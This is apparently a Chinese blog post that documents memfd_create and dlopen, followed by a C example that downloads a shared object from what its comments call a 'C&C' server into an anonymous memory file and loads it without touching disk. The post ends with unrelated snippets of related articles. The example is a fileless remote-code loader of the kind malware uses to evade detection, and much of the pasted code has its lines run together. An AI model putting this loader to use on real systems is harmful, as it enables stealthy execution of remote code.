非文件形式的内存动态函数库调用接口
使用memfd的系统调用接口将动态库加载到proc虚拟文件系统,提供的fd为进程持有的句柄,通过dlopen的path指向此句柄,即可实现非文件系统加载动态链接库。
文章目录
- 一、memfd_create
- 二、dl_open
- 三、示例参考
一、memfd_create
接口名称 | int memfd_create(const char *name, unsigned int flags, unsigned int mode) |
---|---|
场景描述 | memfd_create() 函数用于创建一个内存文件描述符,该文件描述符指向一个内存区域。 |
输入参数 | name :内存区域的名称。如果为空字符串,则内存区域将没有名称。flags :内存区域的标志。 MEMFD_CLOEXEC :在文件描述符关闭时,该内存区域也会被自动释放。MEMFD_ALLOW_SEALING :允许将内存区域密封。mode :内存区域的权限。 |
输出参数 | 函数返回一个文件描述符,该文件描述符指向内存区域。如果创建内存区域失败,则返回 -1 ,并设置 errno 为错误码。 |
备注 | 如果 flags 参数设置为 MEMFD_CLOEXEC ,则在文件描述符关闭时,该内存区域也会被自动释放。 |
二、dl_open
|dl_open() 函数用于打开一个动态链接库。它返回一个指向动态链接库句柄的指针,该句柄可以用于访问动态链接库中的符号。
接口名称 | void *dl_open(const char *filename, int mode) |
---|---|
场景描述 | dl_open() 函数用于打开一个动态链接库。它返回一个指向动态链接库句柄的指针,该柄可以用于访问动态链接库中的符号。 |
输入参数 | filename :动态链接库的文件名。mode :动态链接库的打开模式。RTLD_LAZY :延迟解析动态链接库中的符号。 RTLD_NOW :立即解析动态链接库中的符号。 RTLD_GLOBAL :将动态链接库中的符号导出到全局符号表中。RTLD_LOCAL :将动态链接库中的符号导出到局部符号中。 |
输出参数 | 函数返回一个指向动态链接库句柄的指针,该句柄可以用于访问动态链接库中的符号。如果打开动态链接库失败,则返回 NULL 。 |
备注 | 无 |
三、示例参考
#define _GNU_SOURCE#include <curl/curl.h>
#include <dlfcn.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/utsname.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/stat.h> /* For mode constants */
#include <fcntl.h> /* For O_* constants */
#include <errno.h>#define SHM_NAME "IceIceBaby"// Wrapper to call memfd_create syscall
inline int memfd_create(const char *name, unsigned int flags) {return syscall(__NR_memfd_create, name, flags);
}// Returns a file descriptor where we can write our shared object
int open_ramfs(void) {int shm_fd;shm_fd = memfd_create(SHM_NAME, 1);if (shm_fd < 0) { //Something went wrong :(fprintf(stderr, "[- Could not open file descriptor\n");exit(-1);}return shm_fd;
}// Callback to write the shared object
size_t write_data (void *ptr, size_t size, size_t nmemb, int shm_fd) {if (write(shm_fd, ptr, nmemb) < 0) {fprintf(stderr, "[-] Could not write file :'(\n");close(shm_fd);exit(-1);}printf("[+] File written!\n");
}// Download our share object from a C&C via HTTPs
int download_to_RAM(char *download) {CURL *curl;CURLcode res;int shm_fd;shm_fd = open_ramfs(); // Give me a file descriptor to memoryprintf("[+] File Descriptor Shared Memory created, used by memfd_create\n");curl = curl_easy_init();if (curl) {curl_easy_setopt(curl, CURLOPT_URL, download);curl_easy_setopt(curl, CURLOPT_WRITEDATA, shm_fd); //Args for our callbackcurl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data); //Callback// Do the HTTPs request!res = curl_easy_perform(curl);curl_easy_cleanup(curl);return shm_fd;}
}// Load the shared object
void load_so(int shm_fd) {char path[1024];void *handle;printf("[+] Trying to load Shared Object!\n");snprintf(path, 1024, "/proc/%d/fd/%d", getpid(), shm_fd);handle = dlopen(path, RTLD_LAZY);if (!handle) {fprintf(stderr,"[-] Dlopen failed with error: %s - %s\n", dlerror(), strerror(errno));}
}int main (int argc, char **argv) {char *url = "http://127.0.0.1:8000/module1.so";int fd;printf("[+] Trying to reach C&C & start download...\n");fd = download_to_RAM(url);load_so(fd);exit(0);
}
相关文章:
非文件形式的内存动态函数库调用接口
使用memfd的系统调用接口将动态库加载到proc虚拟文件系统,提供的fd为进程持有的句柄,通过dlopen的path指向此句柄,即可实现非文件系统加载动态链接库。 文章目录 一、memfd_create二、dl_open三、示例参考 一、memfd_create 接口名称int mem…...
liunx docker 部署 nacos seata sentinel
部署nacos 1.按要求创建好数据库 2.创建docker 容器 docker run -d --name nacos-server -p 8848:8848 -p 9848:9848 -p 9849:9849 -e MODEstandalone -e SPRING_DATASOURCE_PLATFORMmysql -e MYSQL_SERVICE_HOST172.17.251.166 -e MYSQL_SERVICE_DB_NAMEry-config -e MYSQL…...
解决没法docker pull问题
没想到国内源死差不多了,以下内容需要提前科学上网 su cd /etc/systemd/system/docker.service.d vim proxy.conf 参照下图修改,代理服务器改成你自己的。 [Service] Environment"HTTP_PROXYsocks5://192.168.176.180:10810" Environment&…...
面试小札:闪电五连鞭_2
1 请简单描述一下Java中的多线程。 多线程是指在一个程序中可以同时运行多个线程来执行不同的任务。在Java中,通过 java.lang.Thread 类来创建和控制线程。可以通过继承 Thread 类或者实现 Runnable 接口的方式来定义线程的执行逻辑。 线程有多种状态,…...
Milvus向量数据库06-RAG检索增强
Milvus向量数据库06-RAG检索增强 文章目录 Milvus向量数据库06-RAG检索增强1-学习目标2-参考网址3-执行过程记录1-到底什么是RAGRAG 的基本流程:为什么 RAG 优于传统的基于检索的方法:示例流程: 2-RAG和Elasticsearch对比3-RAG和向量数据库之…...
信创国产化时代:打造安全高效的信创网站解决方案
在全球科技竞争日益激烈的背景下,信创国产化已经成为中国信息技术领域的重要战略选择。信创国产化,即信息技术应用创新与国产化,旨在通过自主研发和创新,推动核心技术的国产化,减少对外部技术的依赖,确保国…...
python编程Day13-异常介绍捕获异常抛出异常
异常 介绍 1, 程序在运行时, 如果Python解释器遇到到一个错误, 则会停 止程序的执行, 并且提示一些错误信息, 这就是异常. 2, 程序停止执行并且提示错误信息这个动作, 通常称之为: 抛出 (raise) 异常 # f open(aaaa.txt) # FileNotFoundError: [Errno 2] No such file or dire…...
【JAVA高级篇教学】第二篇:使用 Redisson 实现高效限流机制
在高并发系统中,限流是一项非常重要的技术手段,用于保护后端服务,防止因流量过大导致系统崩溃。本文将详细介绍如何使用 Redisson 提供的 RRateLimiter 实现分布式限流,以及其原理、使用场景和完整代码示例。 目录 一、什么是限流…...
力扣-图论-8【算法学习day.58】
前言 ###我做这类文章一个重要的目的还是给正在学习的大家提供方向和记录学习过程(例如想要掌握基础用法,该刷哪些题?)我的解析也不会做的非常详细,只会提供思路和一些关键点,力扣上的大佬们的题解质量是非…...
Spring 中的验证、数据绑定和类型转换
🧑 博主简介:CSDN博客专家,历代文学网(PC端可以访问:https://literature.sinhy.com/#/literature?__c1000,移动端可微信小程序搜索“历代文学”)总架构师,15年工作经验,…...
Github----提交人不是自己
账号用户名都设置对的,但是提交人不是自己 解决 发现是用户名和账号都夹了"号导致 git config --global user.name "Your Name" git config --global user.email "your.emailexample.com"不用引号 git config --global user.name Your Name git …...
常用工具软件
前言 之前汇总过一篇嵌入式开发工具,但是掺杂了一些更偏向于日常使用的软件工具,这里单独提出来分享,都是自己在用的。 1.文件对比工具 BeyondCompare 文件对比利器,添加右键快捷键后。选中两个文件,右键可以直接进…...
Oracle报错ORA-01653: 表xx无法通过 8192在表空间中扩展
向Oracle 19g数据库中批量插入数据,当插入近2亿条数据后,报出如下错误: ORA-01653: 表xx无法通过 8192 (在表空间 xx_data 中) 扩展 查看表空间,发现表空间大小已达到32G,表空间无法进行自动扩展了。(初始…...
【C语言】库函数常见的陷阱与缺陷(3):内存分配函数
目录 一、malloc 函数 1.1. 功能与常见用法 1.2. 陷阱与缺陷 1.3. 安全使用建议 1.4. 安全替代和代码示例 二、calloc 函数 2.1. 功能与常见用法 2.2. 陷阱与缺陷 2.3. 安全使用建议 2.4. 安全替代和代码示例 三、realloc 函数 3.1. 功能与常见用法 3.2. 陷阱与缺…...
Vue前端实现预览并打印PDF文档
一. 需求 1. 点击文档列表中的【打印】按钮,获取后台生成的PDF的url,弹窗进行预览: 2. 点击【打印】按钮,进行打印预览和打印: 二. 需求实现 首先后台给的是word文档,研究了一圈后发现暂时无法实现&…...
CSS学习记录07
CSS轮廓 轮廓是在元素周围绘制的一条线,在边框之外,以凸显元素。 CSS拥有如下轮廓属性: outline-styleoutline-coloroutline-widthoutline-offsetoutline 注意:轮廓与边框不同。不同之处在于:轮廓是在元素边框之外…...
喆塔科技携手国家级创新中心,共建高性能集成电路数智化未来
集创新之力成数智之塔 近日,喆塔科技与国家集成电路创新中心携手共建“高性能集成电路数智化联合工程中心”并举行签约揭牌仪式。出席此次活动的领导嘉宾包含:上海市经济和信息化委员会、上海市集成电路行业协会、复旦大学微电子学院、国家集成电路创新中…...
基于单片机的汽车雨刷器装置
摘要 下雨天时道路十分模糊,能见度非常低,司机分散注意力去手动打开雨刷器开关会非常危险。据统计,全世界雨天行车的车祸事故有7%是因为司机手动打开雨刷分心导致的。为了减小司机因为手动打开雨刷发生车祸的概率,所以…...
013-SpringBoot 定义优雅的全局异常处理方式
SpringBoot 定义优雅的全局异常处理方式 一、概述二、定义全局异常接口三、定义全局异常枚举四、定义全局基础异常五、定义全局基础业务异常六、定义全局返回七、定义全局返回工厂八、全局异常处理九、实体类十、Controller十一、效果展示一、概述 在日常项目开发中,异常是常…...
nginx 网页正常访问 F5 404
前端打包部署完,无论pc-web或h5-wap,访问正常,一刷新就会404。 解决方案: 在项目的nginx子配置文件中,加上以下代码 try_files $uri $uri/ /index.html;...
Idea Spring Initializr没有 Java 8选项解决办法
问题描述 在使用IDEA中的Spring Initializr创建新项目时,Java 版本近可选择Java17,21 。不能选择Java8;SpringBoot 版本也只有 3.x 问题原因 Spring 官方( https://start.spring.io/)不再提供旧版本的初始化配置 解决方案 方案 1 使用阿里…...
【Leetcode Top 100】104. 二叉树的最大深度
问题背景 给定一个二叉树 r o o t root root,返回其最大深度。 二叉树的 最大深度 是指从根节点到最远叶子节点的最长路径上的节点数。 数据约束 树中节点的数量在 [ 0 , 1 0 4 ] [0, 10 ^ 4] [0,104] 区间内。 − 100 ≤ N o d e . v a l ≤ 100 -100 \le Nod…...
C#实现一个HttpClient集成通义千问-开发前准备
集成一个在线大模型(如通义千问),来开发一个chat对话类型的ai应用,我需要先了解OpenAI的API文档,请求和返回的参数都是以相关接口文档的标准进行的 相关文档 OpenAI API文档 https://platform.openai.com/docs/api-…...
使用ssh免密登录实现自动化部署rsync+nfs+lsync(脚本)
单机一键部署sshrsyncnfslsync 执行准备 主机信息 主机角色外网IP内网IP主机名nfs、lsync10.0.0.31176.16.1.31nfs客户端10.0.0.7176.16.1.7web01rsync、nfs10.0.0.41172.16.1.41backup 秘钥信息 #web01可以免密连接nfs和backup [rootweb01 ~]# ssh-keygen [rootweb01 ~]#…...
若依集成更好用的easyexcel
背景 若依使用的是apach poi并在此基础上进行封装apach poi的原生的api是很复杂的,若依简化了了此操作apach poi的上传速率和下载速率都是没有优化的,依赖于文件大小的限制在此前提下,如果没法满足客户的需求(超大型文件的上传&am…...
去除背景 学习笔记
目录 rembg rembg 安装: pip install rembg import os from glob import glob from rembg import remove from argparse import ArgumentParser from PIL import Image if __name__ __main__:parser ArgumentParser()parser.add_argument(--path, typestr, re…...
我们来学mysql -- 隔离级别简介(原理篇)
隔离级别 别记题记隔离级别后记系列文章 别记 烧香拜佛要是有用,还需要我们来过吗…从个人情感角度,巴沙尔阿萨德 辜负了东大对他的期望他可是从正门踏进了灵隐寺 俄乌战争即将进入第三年(此时202412)此时的加沙正成为以色列建国…...
机器学习(4)Kmeans算法
1、简述聚类分析的重要性及其在机器学习中的应用 聚类分析,作为机器学习领域中的一种无监督学习方法,在数据探索与知识发现过程中扮演着举足轻重的角色。它能够在没有先验知识或标签信息的情况下,通过挖掘数据中的内在结构和规律…...
Oracle之表空间迁移
问题背景:一个数据表随着时间的累积,导致所在表空间占用很高,里面历史数据可以清除,保留近2个月数据即可 首先通过delete删除了2个月以前的数据。 按网上的教程进行空间压缩,以下sql在表所在用户执行: -- 允许表重新…...
域渗透入门靶机之HTB-Cicada
easy难度的windows靶机 信息收集 端口探测 nmap -sT --min-rate 10000 -p- 10.10.11.35 -oA ./port 发现开放了53,88,389等端口,推测为域控 进一步信息收集,对爆破的端口进行更加详细的扫描 小tips:对于众多的端口&…...
淘客网站怎么做排名/个人博客网站搭建
kubernetes job tags: job,cronjob 《相助》一部关于黑人种族主题电影 文章目录kubernetes job1. 简介2. 参数3. job创建过程细讲4. Job Controller 对并行作业的控制方法5. Job Controller 的工作原理6. 三种job方法6.1 外部管理器 Job 模板6.2 拥有固定任务数目的并行 Job6.…...
网站只显示一个网址/提高基层治理效能
转载请注明出处:http://blog.csdn.net/u010019717更全的内容请看我的游戏蛮牛地址:http://www.unitymanual.com/space-uid-18602.html 属性 (Attribute)使用 Unity 的C#语言 ,利用属性&#…...
天津手机网站建设制作/广州seo推广
文章目录📂 第二章、程序语言基础知识 📁 2.1 程序语言概述 📖 2.1.1 程序语言的基本概念 📖 2.1.2 程序语言的基本成分 📁 2.2 程序语言翻译基础 📖 2.2.1 汇编程序基本原理 📖 2.2.2 编译程序…...
花都建设网站/百度旗下的所有产品
容量不够 进行扩容 应对并发写操作 去中心化集群配置 意思就是每一台服务器都可以作为集群的入口 服务器之间相互连通 搭建redis集群demo 集群配置 需要再各自的redis.conf中配置 linux 替换文件中所有的6379为6380 配置文件改好后 启动他们 准备将这多个合为一个集群 …...
如何做网站报价/南昌seo专业团队
今天看到kite项目中的一段代码,发现挺有意思的。 // generateToken returns a JWT token string. Please see the URL for details: // http://tools.ietf.org/html/draft-ietf-oauth-json-web-token-13#section-4.1 func generateToken(aud, username, issuer, pri…...
大型网站后台用什么语言/网站seo优化教程
我就废话不多说了,直接上代码吧!import mathimport numpy as npimport matplotlib.pyplot as pltfrom sympy import * #用于求导积分等科学计算def dif(left,right,step):#求导 左右区间以及间隔x,y symbols(x y)#引入x y变量expr pow(x,5)#计算表达式…...